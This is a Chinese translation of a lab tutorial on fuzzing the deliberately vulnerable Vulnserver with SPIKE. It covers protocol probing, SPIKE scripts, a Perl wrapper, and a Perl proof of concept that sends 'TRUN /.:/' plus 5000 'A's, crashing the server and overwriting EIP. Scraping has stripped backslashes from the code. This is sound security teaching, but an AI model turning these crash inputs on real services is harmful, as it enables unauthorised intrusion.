Fuzzing-用SPIKE挖掘漏洞

更新时间:2023-05-26 01:24:01 阅读量: 实用文档 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

Fuzzing:用SPIKE挖掘漏洞

前言:本文翻译于Stephen Bradshaw的论坛,原文链接为/intro- to-fuzzing/,/fuzzer-automation-with-spike/。主要用于个人学习记录,英语不给力,将就着看吧。国内技术牛很早也总结了一篇,可以结合着学习/art/ 201111/302089.htm。

本文主题是如何通过fuzzing应用程序来寻找可利用的漏洞。

Stephen Bradshaw特意开发了包含漏洞的Vulnserver服务器作为Fuzzing的目标。本文我们将进一步讨论SPIKE脚本与自动化的SPIKE fuzzing会话。

系统设置要求

要完成本文中的Fuzzing练习,我们需要建立两个系统--一是Windows操作系

(Windows XP, Vista or Windows 7),它将被作为fuzzing目标;另外一运行SPIKE的Linux系统来作为fuzzing的测试客户端。本文建议使用BackTrack 4 Final或Kali Linux系统,因为它们具备本次Fuzzing测试的所有必须环境。两个系统都可部署在虚拟机上。

接下来,我将通过IP地址来fuzzing目标系统。目标系统IP地址为192.168.56.101。 需要如下软件:

Fuzzing目标(windows):

脆弱性服务器,可以通过如下链接获取

/site/lupingreycorner/vulnserver.zip

OllyDbg 1.10,可以通过如下链接获取http://www.ollydbg.de/

Fuzzing系统(Linux)

SPIKE Wireshark Perl Netcat

如果用BackTrack作为Fuzzing主机,那么上面的软件都是预装的,无需再次安装。若是使用其他系统,SPIKE可以从/resources-freesoftware.shtml下载安装。

在编译SPIKE之前,建议对spike.c文件稍做改动。在tar包的SPIKE/SPIKE/src目录的spike.c文件里,有包含两个“return 0;”字符串的代码段,在其前面的“printf(“tried to send to a closed socket!n”);”代码段中,用“exit(1); ”替换“return 0; ”。修改后SIKE将在返回空值时

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

退出,这种功能对后面要运行的封装脚本是非常有用处的。修改完成后,正常在SPKIE的src目录下编译链接程序“./configure; make”。

在fuzzing目标服务器上,我们需要Administrator权限来运行Ollydbg调试器。在Vista或者Windows7系统上,右键以管理员身份运行Ollydbg调试器。

运行Vulnserver服务器很简单,将文件vulnserver.exe和essfunc.dll放在与Ollydbg同一目录下,用OllyDbg的open命令打开程序。程序默认监听TCP 9999端口,若想使用其他端口,需要将端口号作为vulnserver.exe的参数一起运行。

什么是Fuzzing?

Fuzzing是为了使程序产生失败或错误故意向程序发送错误格式数据的方法。fuzzing通常被攻击者用于挖掘软件漏洞。

当然,还是有一些其他流行的免费模糊测试器,但本文我们将关注在软件SPIKE上。 The SPIKE Fuzzer

从技术层面上讲,SPIKE是一个模糊测试创建工具集,它允许用户用C语言基于网络协议生成他们自己的测试数据。SPIKE定义了一些原始函数,这允许C程序员可以构建fuzzing数据向目标服务器发送,以期引起产生错误。既然SPIKE是专门被设计用来寻找可利用bug的,so,对我们来说这是极好的。

正如我所介绍,SPIKE是一个基于C语言的模糊创建工具集,但是要想使用SPIKE你却不必非得知道如何编写C代码,会修改就行。SPIKE还包含一些简单的脚本功能,其中有几个命令行工具,在下文中介绍。

SPIKE帮助文档不给力是出了名的,通过查看SPIKE的一些C源码,我们可以建立一系列元函数的列表。为了节省时间,本文将列出部分元函数。

目前也有不少关于SPIKE的论文与报告,但是最有意思的还是SPIKE作者Dave Aitel的日记(链接为/downloads/usingspike3.ppt )简简单单的几页PPT,就勾勒出SPIKE灰常NB的漏洞挖掘实力。对此,我们很有必要探讨一番,看看那些对我们是有用的。

SPIKE的功能是什么?

SPIKE拥有大量的内置字符串用来模糊测试,这在测试程序的时候是非常有效地。SPIKE以一种十分有效地方式,来确定能使程序产生失败的值。这意味着我们不用自已攒出这些数据,经验丰富的作者将向我们提供这些数据。

SPIKE有块(blocks)的概念,这可以在SPIKES内部推测出指定部分的大小。产生的数据就可以被SPIKE以不同的格式嵌入到自身测试数据中去。当需要在特定位置嵌入精确数据的时候,blocks是非常给力的,它大大节省了我们自行计算的时间。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

SPIKE支持多种网络协议数据类型,并可在不同格式下,很容易的在不同程序中分割粘贴数据。

SPIKE脚本

如前所述,SPIKE包括一个基本的脚本功能,允许您使用SPIKE脚本测试应用程序,无需自己用C语言写SPIKE FUZZER代码。SPIKE的子函数很给力,所以我们可以针对不同的应用发送测试数据。

在基于TCP的应用服务程序下,我们可以通过用脚本解释器 generic_send_tcp来执行.spk脚本文件的方式,发送特定的数据到特定的IP地址、TCP端口。当然,还有一个generic_send_udp脚本解释器,它的作用类似,就是通过UDP的方式发送数据。

解释器generic_send_tcp将被用来fuzz我们的应用程序,BackTrack系统下,可以在/pentest/fuzzers/spike/目录下找到,如果是你自己下载并编译的SPIKE程序,generic_send_tcp在src目录下面。不带参数的运行结果如下:

root@bt4r1vm:/pentest/fuzzers/spike/# ./generic_send_tcp

argc=1

Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR

./generic_send_tcp 192.168.1.100 701 something.spk 0 0

前三个参数很明确,分别定义了fuzzing主机的主机名、端口号以及SPIKE脚本的名字,参数4、5则在下面进行了详细的说明。

在SPIKE脚本中,“s_string_variables”是用来向fuzzed数据插入字符串的命令。若是用了一个以上的 “s_string_variables”参数,你可以跳过使用早起的“s_string_variables”为SKIPVAR设置为适当的值。例如,你的脚本中包含三个“s_string_variables”参数,并且你想忽略前两个参数,直接fuzz第三个参数,我们就可以设置 SKIPVAR 为2(变量的编号跟数组一样,从0开始)。

每一个“s_string_variables”也有一些列内置的模糊测试字符串值。如果你想跳过前10个字符,想从第11个字符开始fuzzing,你就可以设置SKIPSTR参数为10(同样从0开始计起)。

当你使用generic_send_tcp时,它输出变量、字符串到测试中的命令行。因此如果你要恢复被打断的SPIKE会话,你可以用得着SKIPVAR、SKIPSTR这两个命令行参数参数。

为了最初仅用“0 0”这些参数开始fuzzing会话,,所以可以用test.spk脚本对主机192.168.1.101的9999端口发起fuzzing会话。用下面这些命令行(假设generic_send_tcp是在/pentest/fuzzers/spike/ 目录下):

root@bt4r1vm:~# /pentest/fuzzers/spike/generic_send_tcp 192.168.56.101 9999 test.spk 0

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

SPIKE脚本命令

为了写一个SPIKE脚本,我们首先需要知道一些可用的命令以及它们做了些什么。 如果你想了解SPIKE的命令组成,我们通过检查如.spk或spike.h等文件来探索发现。Spike.h文件会列举出可用的原函数(命令),.spk文件提供关于这些命令使用的例子。

我们要记住的是spike脚本功能只支持spike.h的子集。因此,你只能使用SPIKE的内置命令。

为了避免探索这些文件的麻烦,我在下边将列出一些更为有用的SPIKE的原始脚本。spike.h文件由C语言写成,它用C语言的语法与数据结构列出了每个SPIKE命令。对于那些不熟悉C的人来说,我通过用展示例子的方式来使你更加容易的复用代码,写出你自己的脚本。“//”在C中是用来加备注的(编译器在编译程序时将忽略//之后内容),所以接下来我会用这种方式为每个命令提供额外的解释 。当然,你可以忽略的这些解释或者添加自己的解释,这些内容都会被SPKE忽略掉。

接下来我会断断续续的介绍字符串、二进制数据、块以及其他有用的结构。

Strings字符串

strings命令提供给我们向SPIKES添加ASCII字符的方式。同样是字符串命令的 s_string_variable函数,事实上是一个向SPIKE添加fuzz 字符串的非常重要的命令。

s_string(“string”);//作为“SPIKE”的一部分,简单的输出字符“string”

s_string_repeat(“string”,200);// 重复字符“string” 200次

s_string_variable(“string”);//向你的SPKIE中插入一段字符串,字符串“string”

将被用作这个变量的第一次循环,以及其他循环中的s_string_variables变量。

Binary Data二进制数据

binary命令提供了一种向SPIKES添加二进制数据的方法。它们可以支持各种各样的定制的二进制数据。

s_binary(“\x41″);//插入二进制数据,16进制表示为0x41,ASCII码为A

s_binary_repeat(“\x41″, 200);//插入二进制数据0x14 200次

对于SPIKE的二进制命令,相同数据不同书写方式都是可用的。为了输出跟上面相同的16进制字符,我们可以用“41”或者“0x41”,我们还可以混合这些值(如:用“410x41\x42”来输出ASCII码“AAB”)。任何空格都将被忽略,所有这些方便剪切/粘贴的数据都来自于这些用16进制表示的应用程序,如包捕获工具/调试器等。

Defining Blocks定义块

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

块定义命令允许你用SPIKE脚本指定已命名块的起始与结束点。这允许你在SPIKES内用block size命令定义那些数据段的大小。

s_block_start(“block1″); //定义块“block1”的起始位置

s_block_end(“block1″); // 定义块“block1″的结束位置

Block Sizes 块大小

块大小命令允许你向SPIKES已命名的block块插入size大小的数据,这些数据可以用你自己的脚本生成,允许他们有各种大小格式等。

s_blocksize_string(“block1″, 2); // 添加一个2个字符长的字符串到SPIKE中来

代表block1块的大小s_binary_block_size_byte(“block1″); //添加1byte数据到

SPIKE中来代表block1块的大小

这是向SPIKE添加块数据多种方法中的两个例子。当然还有其他方法允许你用各种格式的块,甚至一些允许增加块预设值。

要想看一下其他选项,在src目录下的spike.h文件里执行一下grep显示,筛选

“block_size”或“blocksize”即可。

Other Useful Commands其他有用的命令

跟先前提到的其他类别都不符合的归类到本组。

s_read_packet(); // 读取来自服务器的数据,并显示到屏幕上

s_readline(); // 从服务器上读取一行输入信息

你也可以参考SPIKE内其他脚本,用C语言添加具有额外功能的脚本。一个特别有用的函数是printf(),他可以通过终端显示,给我们提供更多信息。

An Example SPIKE Script

接下来是一个SPIKE脚本的例子,这个脚本对服务器的

testme.php页面上的输入变量提交POST请求,进行fuzz测试。

s_string("POST /testme.php HTTP/1.1rn");

s_string("Host: rn");

s_string("Content-Length: ");

s_blocksize_string("block1", 5);

s_string("rnConnection: closernrn");

s_block_start("block1");

s_string("inputvar=");

s_string_variable("inputval");

s_block_end("block1");

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

这个脚本指定一个如下脚本,SPIKE fuzz字符串将被插入到[fuzz_string]代表的位置上,向[size_of_data]代表的数据段大小插入POST请求数据,里面包含固定字符串“inputvar=”和可变的fuzz字符串。测试中,fuzz 字符串的长度江随着字段大小自动更新变化。

POST /testme.php HTTP/1.1

Host:

Content-Length: [size_of_data]

Connection: close

inputvar=[fuzz_string]

理解模糊测试协议

成功的fuzzing测试经常是需要将一些恶意的/意想不到的数据插入到一个具体应用输入接口中。程序在处理用户输入数据时 ,触发一个可利用的崩溃。这就需要我们在向网络协议输入fuzz数据时找到正确输入位置。数据字段/字段大小/命令行参数/输入的字符串,有时命令本身的类型就是可input输入位置,它们可以生成自身类型的错误。

换句话说,为了将错误的数据放入到正确的地方,我们需要理解与目标通讯的网络协议的结构,以便我们的fuzzing数据能被导入到应用程序的正确位置。

理解网络协议有很多方法可用,如通过查阅RFC文档,用Wireshark或tcpdump等抓取应用客户端的数据。或者,对于非常简单的协议,可以直接与应用程序交互查看它是怎么工作的。

这就是我们针对Vulnserver服务器要做的工作。首先我们需要启动它。因为我们想捕获到异常数据,所以我们在Debugger调试器中运行程序。在windows系统下启动OllyDbg,用它从本地磁盘加载vulnserver.exe文件,按F9键或按OllyDbg工具栏Play按钮或者在Debug菜单下选Run来让加载到debugger的程序运行起来。此时,程序正常运行起来。这时,如果我们引发了一个崩溃,debugger调试器将接管进程,让我们看明白在产生崩溃的时刻寄存器与程序内存正在干些什么。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

现在,在我们Linux fuzzing系统上,我们可以用netcat来连接Vulnserver上运行的实例。运行netcat时用-vv参数来获取更多连接信息,-n参数禁用DNS递归查询。

root@bt4r1vm:~# nc -nvv 192.168.56.101 9999

(UNKNOWN) [192.168.56.101] 9999 (?) open

Welcome to Vulnerable Server! Enter HELP for help.

从我们收到的响应来看,输入HELP命令时我们会得到一些帮助。我们看看是些什么呢。

root@bt4r1vm:~# nc -nvv 192.168.56.101 9999

(UNKNOWN) [192.168.56.101] 9999 (?) open

Welcome to Vulnerable Server! Enter HELP for help.

HELP

Valid Commands:

HELP

STATS [stat_value]

RTIME [rtime_value]

LTIME [ltime_value]

SRUN [srun_value]

TRUN [trun_value]

GMON [gmon_value]

GDOG [gdog_value]

KSTET [kstet_value]

GTER [gter_value]

HTER [hter_value]

LTER [lter_value]

KSTAN [lstan_value]

EXIT

好的,HELP命令给我没提供了一系列程序可用的命令。让我们试着输入一些命令以及一些其他随机的字符串,看看有什么会发生。

STATS

UNKNOWN COMMAND

允许不带参数的STATS命令看起来好像不被支持。那么,我们在其后添加一些通用文字再试一下。

STATS test

STATS VALUE NORMAL

好的,STATS命令看起来运行了。那么如果我们改变STATS命令会怎么样呢。 stats test

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

UNKNOWN COMMAND

OK,看起来命令还是分大小写的。让我们试一下不在命令支持列表的其他随机文本。 BLAH

UNKNOWN COMMAND

恩,看起来任何错误或不被支持的命令执行时,都会产生UNKNOWN COMMAND返回信息。我们再测试另外一个被支持的命令,以及一个随机参数。

TRUN hhh

TRUN COMPLETE

OK,返回了不同信息。我们看一下是否可以获得更多关于这些被支持的命令帮助信息。 HELP STATS

Command specific help has not been implemented

遗憾的是,一点帮助也没有!

也许现在你已经意识到,我正试着通过像这样不停询问程序的方式来找出可被程序接受的数据类型,寻找我构建fuzzing 数据的方法。基于我们已知的信息,程序看起来支持若干命令,某些命令还可以附带参数。考虑到这一点,向应用程序引进fuzz数据的方式可以被插入到:

一个支持命令的地方

作为某些函数的参数,这些函数本就支持参数(STATS,RTIME,LTIME等) 作为某些函数的参数,这些函数没有表示支持参数(HELP,EXIT等)

因此我一个关于如何向Vulnserver应用协议插入fuzz数据的想法。

关闭与Vulnserver应用的会话。

EXIT

GOODBYE

这的确是一个协议分析的例子,我相信它完美的展示了一般的预fuzzing的过程。我们确定了程序接收用户输入数据的方式以及用这种方法向应用插入fuzz过的数据。

用SPIKE模糊测试Vulnserver

根据我们分析Vulnserver协议获取的知识,用SPIKE向应用程序真正的fuzzing一把。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

在上一节,我们意识到向可用命令发送fuzz数据是很有用的,并且命令的参数看起来是不支持参数的。让我们从最简单的开始,首先发送一fuzz过的字符串给一个命令。

SPIKE脚本实现起来的效果如下:

s_readline();//打印从服务收到的一行数据

s_string_variable("COMMAND"); //发送fuzz数据

恩,当我们连接并且发送fuzz数据到应用服务器后,我们等待着服务器会返回最初的“Welcome”信息。保存这些内容到fuzzing系统,命名为“vscommand.spk”。

再用SPIKE加载这个脚本之前,我们先用Wireshark抓一些数据包来看一下SPIKE发送的数据。我的Vulnserver目标副本正在监听192.168.56.101服务器的9999端口。我们用以下命令筛选抓包数据,忽略其他数据。输入内容如下:

host 192.168.56.101 and tcp port 9999

开启Wireshark抓包引擎,开始SPIKE模糊测试,所用的命令如下所示。(假设用的系统为BackTrack,SPIKE目录为 /pentest/fuzzers/spike,vscommand.spk文件被保存到当前工作目录)。若是你自己下载SPIKE,generic_send_tcp位于SPIKE/SPIKE/src目录。

root@bt4r1vm:~/vulnserver# /pentest/fuzzers/spike/generic_send_tcp 192.168.56.101

9999 vscommand.spk 0 0

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0

line read=Welcome to Vulnerable Server! Enter HELP for help.

Fuzzing Variable 0:1

Variablesize= 5004

Fuzzing Variable 0:2

line read=Welcome to Vulnerable Server! Enter HELP for help.

Variablesize= 5005

[...SNIP...]

Fuzzing Variable 0:2041

line read=Welcome to Vulnerable Server! Enter HELP for help.

Fuzzing Variable 0:2042

line read=Welcome to Vulnerable Server! Enter HELP for help.

Fuzzing Variable 0:2043

line read=Welcome to Vulnerable Server! Enter HELP for help.

Done.

若是让它运行,SPIKE将在几分钟后完成测试工作。这时我们检查debugger调试器,会发现程序运行的还算OK,没有出现崩溃啊神马的。看起来只向命令发送bad数据,是不能引起Vulnserver产生崩溃的。这没关系,在程序中我们还有其他很多地方可以用bad数据来做测试。分析一下数据包,我们就能明白SPIKE做了写什么。

SPIKE运行状况如下,SPIKE接收到welcome信息/发送COMMAND字符串到应用。返回字符串毫无疑问是我们在SPIKE脚本用s_string_variable 命令定制的信息。目前看来,SPIKE也没做什么有趣的事情,那么我们可以再看看其他的请求数据.....

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

注意,字符串“UNKNOWN COMMAND”正是由我们发往服务器,然后又被服务返回给客户端。Vulnserver在接收到SPIKE的数据后,还可以返回一response数据,这表明它很稳定,并没在崩溃的边缘。稍后当我们真正引发程序崩溃的时候,这段信息将变得非常重要。

我们看一下下一个请求,在Follow TCP Stream窗口底部点击Filter Out This Stream按键,在Wireshark新的过滤视图中右击然后选择Follow TCP Stream选项。这时我们会看到一些有趣的东西。在上一个请求的“COMMAND”文档中,在插入其他随机字符串之前,SPIKE插入了一个非常长的由A组成的字符串。如图:

如果好奇,你可以继续过滤其他SPIKE发送的Fuzzing 数据(Filter Out This Stream)。我们主要需要理解的是每次使用s_string_variable命令,SPIKE将发送括号中的数据,然后再用fuzz 列表迭代发送,直到发完为止。如有你的脚本里有多个变量,他将反过来为每一个变量遍历所有可能值,变量将被括号中提供的值依次替换。

我们能做的是参考一个脚本创建生成多个独立的SPIKE脚本。若想测试固定类型数据,如各种命令( STATS, RTIME, LTIME等),我们必须使用个别SPIKE脚本(如是s_string)来定制他的数据结构。

本文表述了运行一个SPIKE脚本的基本流程,但是Vulnserver仍有许多可以fuzz测试的地方,尽管有些看起来不方便执行和监控崩溃状态。

我们所需要的是在大量发送SPIKES fuzzing数据的同时,可以详细记录返回的细节,并在程序生成崩溃的时候可以停下来。SPIKES在程序发生崩溃的时刻可以下来,让我们可以细细地分析输入数据,当再次启动程序时,它会从中断处继续fuzzing下去。

幸运的是,我们可以在fuzzing测试的过程中修改数据。下面概括了我们如何处理fuzzing任务的其他部分。

1、我们为每一段我们想fuzz的信息生成相应的.spk文件。在这种情况下,我们可以为每一个可用的命令生成.spk文件,如 STATS, RTIME等。我们也可以给予这些SPIKE脚本连续的文件名,添加额外的命令到脚本中,这样我们可以从SPIKE得到额外的终端输出信息。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

2、然后我们创建一个包装程序,它将用generic_send_tcp解释器运行每一个SPK文件。在理想状态下,包装程序可以从任何一个script文件开始;当 generic_send_tcp向关闭的端口发送信息时,它可以为我们提供一些有用的信息。(用来表示程序发送数据失败)

3、测试框架启动后,我们可以重复下面的步骤,知道我们停止fuzzing:

在调试器中加载程序,在Wireshark中开启一个信息的数据捕获实例;

从上次离开的位置继续运行wrapper程序,它将针对目标程序一直运行下去,

直到遇到崩溃;

当wrapper程序停止,我们在调试器中检查程序运行状态,来自程序的命令行

输出与抓包的数据可以让我们判定是什么引起了程序的崩溃。

一旦我们去顶你问题数据,我们可以将其插入exploit框架,再次针对目标程

序发送测试数据,看程序崩溃是否可重现。

重复工作,直到fuzzing程序结束。

首先,生成合适的SPIKE脚本文件。在Linux fuzzing 系统上新建目录,将下面内容拷到“00help.spk”文件中去。

printf("HELP 00help.spk : "); //print to terminal command and filename

s_readline(); //print received line from server

s_string("HELP "); // send "HELP " to program

s_string_variable("COMMAND"); //send fuzzed string

相比最后生成的SPIKE文件,我们已经向其中添加里一些新的行。一开始,用C语言的打印函数将信息打印到终端界面,当fuzzing脚本中断的时候,这些信息可以标示本脚本命令的身份。我们把要fuzzing的命令和脚本名称放到括号内。下一条命令中s_string添加一个静态字符串“HELP ”到SPIKE发送。(注意HELP之后的空格,这与命令HELP是有区别的)

脚本的目的就是想HELP命令的参数插入fuzz数据,让Vulnserver反馈大量相关的信息,来让我们看明白发生了什么。

我们用基础模板生成SPIKE脚本,测试Vulnserver的每个命令。使用命令列表,我们可以批量测试文件如: 01stats.spk, 02rtime.spk, 03ltime.spk。我们可以定义连续的文件名,提供一简单定位断点的方法。

为了避免我们忘了那些在协议分析会话中发现的可支持命令,这再叨叨一次。

HELP

STATS [stat_value]

RTIME [rtime_value]

LTIME [ltime_value]

SRUN [srun_value]

TRUN [trun_value]

GMON [gmon_value]

GDOG [gdog_value]

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

KSTET [kstet_value]

GTER [gter_value]

HTER [hter_value]

LTER [lter_value]

KSTAN [lstan_value]

EXIT

下面是针对命令参数fuzzing的另一个例子,测试的是STATS命令(01stats.spk)。 printf("STATS 01stats.spk : "); //print to terminal command and filename

s_readline(); //print received line from server

s_string("STATS "); // send "STATS " to program

s_string_variable("COMMAND"); //send fuzzed string

现在为每一个命令生成测试脚本。这样做了后,就会生成如下文件。最好参照本指南,用相同的命令生成了连续的文件命名。

root@bt4r1vm:~/fuzzing# ls *.spk

00help.spk 03ltime.spk 06gmon.spk 09gter.spk 12kstan.spk

01stats.spk 04srun.spk 07gdog.spk 10hter.spk 13exit.spk

02rtime.spk 05trun.spk 08kstet.spk 11lter.spk

现在,我们生成了大量SPIKE脚本文件,我们还需要一个打包程序以使它们更方便运行,像下面这样:

#!/usr/bin/perl

# Simple wrapper to run multiple .spk files using generic_send_tcp

$spikese = '/pentest/fuzzers/spike/generic_send_tcp';

if ($ARGV[4] eq '') {

die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTRnn");

}

$skipfiles = $ARGV[2];

@files = <*.spk>;

foreach $file (@files) {

if (! $skipfiles) {

if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]") ) {

print "Stopped processing file $filen";

exit(0);

}

} else {

$skipfiles--;

}

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

}

封装程序将在当前目录寻找文件后缀为.spk的文件,作为generic_send_tcp的输入脚本文件,寻找命令行中的IP地址、端口、 SKIPVAR/SKIPSTR等变量值,作为 generic_send_tcp的输入参数。此外,它还允许添加skipfile参数,使我们可以跳过一定数量的.spk测试文件。又由于封装程序每次都按相同顺序测试文件,因此当需要重启fuzzing会话时,我们可以直接跳过已测试的文件。

若你不是用 BackTrack系统进行测试,运行时你就需要改变 generic_send_tcp命令的路径了。你还需要确保按照我提供的指南在Requirements and System Setup选项上设置,关于SPIKE在它不能发送数据时怎么修改使其有个非零值的结束。若是它不起作用,

generic_send_tcp将非常愉快的想一个已关闭的会话发送数据,一直到执行完成。这个封装程序取决于当它不再发包时它就停下来,所以确保你也这样做。

编辑脚本fuzzer.pl,给与其可执行权限(chmod +x).

重启抓包引擎(Capture menu-> Restart ),用Clear按钮将所有过滤条件去掉,确保Vulnserver程序在调试器中运行正常。现在我们用封装程序来做更多的fuzzing工作。不带参数时运行结果如下:

root@bt4r1vm:~/fuzzing# ./fuzzer.pl

Usage: ./fuzzer.pl IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR

向Vulnserver开启我们的fuzzing会话。Vulnserver服务器IP地址是192.168.56.101、端口9999,像下面这样运行fuzzer.pl脚本:

root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 0 0 0

这样程序就开始运行了,它会向Vulnserver服务器喷射大量的测试数据。运行足够长的时间后,程序会中断,然后反馈下面信息。最后一行告诉我们,当测试脚本05trun.spk时,程序停下来了。若是你看完输出信息,你会发现有什么信息失踪了-bingo,是的,在很对SPIKES测试中Welcome信息没被反馈。

Fuzzing Variable 0:200

TRUN 05trun.spk : Variablesize= 10000

Fuzzing Variable 0:201

TRUN 05trun.spk : Variablesize= 5000

Fuzzing Variable 0:202

Couldn't tcp connect to target

Stopped processing file 05trun.spk

在终端显示信息中一直向上翻,一直看到Welcome信息为止。你将看到它在如下的地方:

[...SNIP...]

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0

TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.

Fuzzing Variable 0:1

TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.

Variablesize= 5004

Fuzzing Variable 0:2

TRUN 05trun.spk : Variablesize= 5005

Fuzzing Variable 0:3

TRUN 05trun.spk : Variablesize= 21

[...SNIP...]

我们可以看到Welcome就在“Fuzzing Variable 0:1″之后出现。显然,在05trun.spk测试之后,就没有Welcome信息了。

这时如果坚持调试器,会发现如下结果:

调试器显示当EIP寄存器指向41414141程序执行[41414141]时,程序报出违规访问的错误。看起来基于显示的信息我们已找到一个Vulnserver的bug。(你能在终端看到TRUN文本被fuzzer.pl返回,添加本字段到文件05trun.spk 中)

那么,我们如何知道是哪些数据导致崩溃生成的呢?为了找出,我们检查我们的

Wireshark数据包。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

打开Wireshark抓包界面,选择最新的数据包。打开Edit按钮选择Find Packet选项。再打开窗口的右边点击Up选项,在界面上方选择String选项,然后在输入框中输入Welcome字段。这可以找最新包含welcome字段的数据包。如图:

点击Find按键,在找到的第一个数据包中右击鼠标选择Follow TCP Steam选项。你见看到如下信息:

一个TRUN命令,后边伴随着其他随机字符串和一个由A组成的非常长的字符串。 点击底部的下拉框,选择只显示发放目标系统的数据(它应该是被高蓝显示),我们可以发现当发送Welcome信息时,没有伴随任何其他数据--例如没有返回信息到TRUN命令。

考虑到会话中的被发送welcome信息,然后对TRUN命令没有任何反馈信息,我们可以猜测是TRUN命令引起了程序的崩溃。同时也有线索验证了这一点,你发现了吗?

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

使用下拉框选项,只显示我们的fuzzing数据(红色的那些),保存数据到磁盘上-我保存数据到、tmp/trun-data.txt文件中。

现在我们已经有了引起程序崩溃数据的拷贝,让我们再次向程序发送这些数据,看是否会再次引起崩溃生成。目前Vulnserver服务器还处在崩溃中,因此我们需要将其重启。在Ollydby调试器中选择Debug-Restart重启程序,点击F9(或者Debug-Run/Play)运行程序。重启Wireshark抓包程序(Capture-Restart),清空所有过滤条件(Clear)。

从伴随TRUN命令的信息来看,似乎是一长串“A”与一些其他字符附加在开始。在linux中我们使用sed命令来用空替换A,来看清楚除A外,还是什么字符在这个信息里。

root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt

TRUN /.:/root@bt4r1vm:~/fuzzing#

文本“TRUN /.:/”似乎是除了”A”之外的其他字符串()。下面这个脚本显示,在文件trun-data.txt后面,没有添加任何新内容。我们可以用wc -m来计算sed命令输出文本的长度,如下:

root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt | wc -m

9

只有9个字符长,现在让我们检查整个文件的长度-包括“A”字符串。

root@bt4r1vm:~/fuzzing# wc -m /tmp/trun-data.txt

5009 /tmp/trun-data.txt

整个trun-data.txt文本5009个字符长。基本上就是“TRUN /.:/”字符串后面加上5000个“A”组成的。

我们使用如下Perl代码将数据发送给程序,这样你就可以通过我大量注释看明白是怎么回事。

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

die("Usage: $0 IP_ADDRESS PORTnn"); # help message shown if too few variables

are provided

}

$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"

$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable

$socket = IO::Socket::INET->new( # creates a new socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # IP address - command line variable 1

PeerPort => "$ARGV[1]" # TCP port number - command line variable 2

) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established

$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message

print "$serverdata"; # prints out received data

$socket->send($baddata); # sends data in $baddata over socket

这些代码在$baddata变量中存储了恰当的fuzz字符串,建立了一个到IP地址的TCP套接字,在命令行上指定端口,通过套接字接收打印Welcome信息,发送fuzz数据到服务器。

保存致谢代码到“trun.pl”文件,给与其可执行权限(chmod +x trun.pl ),运行它: root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999

Welcome to Vulnerable Server! Enter HELP for help.

这时检查调试器,我们会看到相同的违规访问报错。我们发现了一个导致程序崩溃的bug.作为一个奖励,我们发送的数据已经控制了CPU的一个非常重要的寄存器-EIP寄存器(扩展指令寄存器)。

看一下EIP寄存器是如何包含值41414141的呢?

既然EIP是4byte(32bit)的寄存器,保存来里面的值-41414141(时间上是16进制的0x41414141)是由4个16进制个体0x41组成。0x41转换成ASCII码是什么的,是的,正式大写字母“A”。我们可以用perl打印输出“x41”来证明。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

root@bt4r1vm:~/fuzzing# perl -e 'print "x41" . "n"'

A

因此,是在大量的“A”字符串中的某4个A字符设置了EIP寄存器的值。我不会深究为什么会这样,但是如果你正寻找可利用的漏洞,这绝对是一个好的信号。

呵呵,我们已经找到程序的第一个bug了,我们可以继续Fuzzing程序的其他输入向量。重启Wireshark抓包器、Vulnserver,将SKIPFILE变量设为6,运行我们的打包程序。这将跳过前6个我们已经测试过的SPIKE脚本,从数字7开始,在本例子中就是06gmon.spk文件。

root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 6 0 0

若是你一直盯着调试器看,你几乎立即就会发现又出现崩溃了。然而,SPIKE会继续运行一段时间,直到最终停止。终端最后两行输出信息如下:

[...SNIP...]

GMON 06gmon.spk : Variablesize= 10000

Fuzzing Variable 0:201

GMON 06gmon.spk : Variablesize= 5000

Fuzzing Variable 0:202

Couldn’t tcp connect to target

Stopped processing file 06gmon.spk

看起来是fuzzing数据引发了程序的错误。像之前一样,在终端中向上翻看,Welcome信息不再被显示。

打开Wireshark,用Edit--Find Packet选项,在最后一个数据包中向上搜索“Welcome”字符串,在Follow TCP Stream中的内容看起来应该比较熟悉。服务器有出现了崩溃,是GMON命令引起的。。。接下来又是一串随机的A字符串。

